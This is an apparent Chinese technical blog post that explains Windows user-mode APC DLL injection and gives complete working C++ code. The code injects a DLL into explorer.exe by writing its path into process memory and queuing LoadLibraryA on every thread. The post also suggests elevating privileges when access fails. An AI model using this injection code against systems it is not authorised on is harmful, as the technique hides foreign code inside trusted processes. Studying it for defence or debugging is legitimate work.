Dll注入:Ring3 层 APC注入

APC,即Asynchronous procedure call,异步程序调用
APC注入的原理是:
在一个进程中,当一个执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断,当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数,利用QueueUserAPC()这个API,并以此去执行我们的DLL加载代码,进而完成DLL注入的目的,
 

注入流程:
1.根据进程名称得进程ID
2.枚举该进程中的线程
3.将自己的函数插入到每个线程的APC队列中

#include "stdafx.h"
#include <windows.h>
#include <Tlhelp32.h>
#include <iostream>
#include <stdio.h>
#include <stdlib.h>

using namespace std;



typedef struct _THREADLIST
{
     DWORD dwThreadId;
    _THREADLIST *pNext;
}THREADLIST;


int q = 0;


DWORD GetProcessID(const char *szProcessName);
int EnumThreadID(DWORD dwPID, THREADLIST * pdwTidList);
THREADLIST* InsertThreadId(THREADLIST *pdwTidListHead, DWORD dwTid);
DWORD Inject(HANDLE hProcess, THREADLIST *pThreadIdList);

int main()
{
    THREADLIST *pThreadIdHead = NULL;
    pThreadIdHead = (THREADLIST *)malloc(sizeof(THREADLIST));
    if (pThreadIdHead == NULL)
    {
        printf("申请失败");
        return 0;
    }

    //ZeroMemory是美国微软公司的软件开发包SDK中的一个宏。 其作用是用0来填充一块内存区域
    ZeroMemory(pThreadIdHead, sizeof(THREADLIST));

    DWORD dwProcessID = 0;

    if ((dwProcessID = GetProcessID("explorer.exe")) == 0)
    {
        printf("进程ID获取失败!
");
        return 0;
    }

    EnumThreadID(dwProcessID, pThreadIdHead);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);

    if (hProcess == NULL)
    {
        printf("打开进程失败");
        return 1;
    }

    Inject(hProcess, pThreadIdHead);
    cout<<q;
    getchar();
    getchar();
    return 0;
}

DWORD GetProcessID(const char *szProcessName)
{
    //PROCESSENTRY32这个宏在<Tlhelp32.h>中
    PROCESSENTRY32 pe32 = { 0 };
    pe32.dwSize = sizeof(PROCESSENTRY32);
    //创建线程快照
    HANDLE SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if (SnapshotHandle == INVALID_HANDLE_VALUE)
    {
        return 0;
    }

    if (!Process32First(SnapshotHandle, &pe32))
    {
        return 0;
    }

    do
    {
        if (!_strnicmp(szProcessName, pe32.szExeFile, strlen(szProcessName)))
        {
            printf("%s的PID是:%d
", pe32.szExeFile, pe32.th32ProcessID);
            return pe32.th32ProcessID;
        }
        //Process32Next是一个进程获取函数,当我们利用函数CreateToolhelp32Snapshot()获得当前运行进程的快照后, 我们可以利用Process32Next函数来获得下一个进程的句柄
    } while (Process32Next(SnapshotHandle, &pe32));

    return 0;
}

int EnumThreadID(DWORD dwPID, THREADLIST * pdwTidList)
{
    int i = 0;

    THREADENTRY32 te32 = { 0 };
    te32.dwSize = sizeof(THREADENTRY32);

    HANDLE SnapshotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPID);

    if (SnapshotHandle != INVALID_HANDLE_VALUE)
    {
        if (Thread32First(SnapshotHandle, &te32))
        {
            do
            {
                if (te32.th32OwnerProcessID == dwPID)
                {
                    if (pdwTidList->dwThreadId == 0)
                    {
                        pdwTidList->dwThreadId = te32.th32ThreadID;
                    }
                    else
                    {
                        if (NULL == InsertThreadId(pdwTidList, te32.th32ThreadID))
                        {
                            printf("插入失败!
");
                            return 0;
                        }
                    }

                }
            } while (Thread32Next(SnapshotHandle, &te32));
        }
    }

    return 0;
}

THREADLIST* InsertThreadId(THREADLIST *pdwTidListHead, DWORD dwTid)
{
    THREADLIST *pCurrent = NULL;
    THREADLIST *pNewMember = NULL;

    if (pdwTidListHead == NULL)
    {
        return NULL;
    }
    pCurrent = pdwTidListHead;

    while (pCurrent != NULL)
    {

        if (pCurrent->pNext == NULL)
        {
            // 定位到链表最后一个元素
            pNewMember = (THREADLIST *)malloc(sizeof(THREADLIST));

            if (pNewMember != NULL)
            {
                pNewMember->dwThreadId = dwTid;
                pNewMember->pNext = NULL;
                pCurrent->pNext = pNewMember;
                return pNewMember;
            }
            else
            {
                return NULL;
            }
        }
        pCurrent = pCurrent->pNext;
    }

    return NULL;
}

DWORD Inject(HANDLE hProcess, THREADLIST *pThreadIdList)
{
    THREADLIST *pCurrentThreadId = pThreadIdList;

    const char szInjectModName[] = "需要加载的自己的动态库路径";
    DWORD dwLen = strlen(szInjectModName) + 1;

    PVOID param = VirtualAllocEx(hProcess, 
        NULL, dwLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    UINT_PTR LoadLibraryAAddress = (UINT_PTR)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");

    if (param != NULL)
    {
        SIZE_T dwRet;
        if (WriteProcessMemory(hProcess, param, (LPVOID)szInjectModName, dwLen, &dwRet))
        {
            while (pCurrentThreadId)
            {
                HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentThreadId->dwThreadId);

                if (hThread != NULL)
                {
                     //注入DLL到指定进程
                    QueueUserAPC((PAPCFUNC)LoadLibraryAAddress, hThread, (ULONG_PTR)param);
                    printf("OK
");
                    
                    q++;
                    
                }

                printf("ThreadID:%d
", pCurrentThreadId->dwThreadId);
                pCurrentThreadId = pCurrentThreadId->pNext;
            }
        }
    }
    return 0;
}

如果OpenProce或者OpenThread失败,可以尝试提权,或者给UAC,以管理员身份启动。

不过我个人觉得,这个方法不是每次都能成功,只有线程多的进程,才比较容易成功。win7 测试成功,Win10不是每次成功。

另外没有提供删除APC队列中函数的方法,所以不能反复注入。

原文地址:https://www.cnblogs.com/HsinTsao/p/6416495.html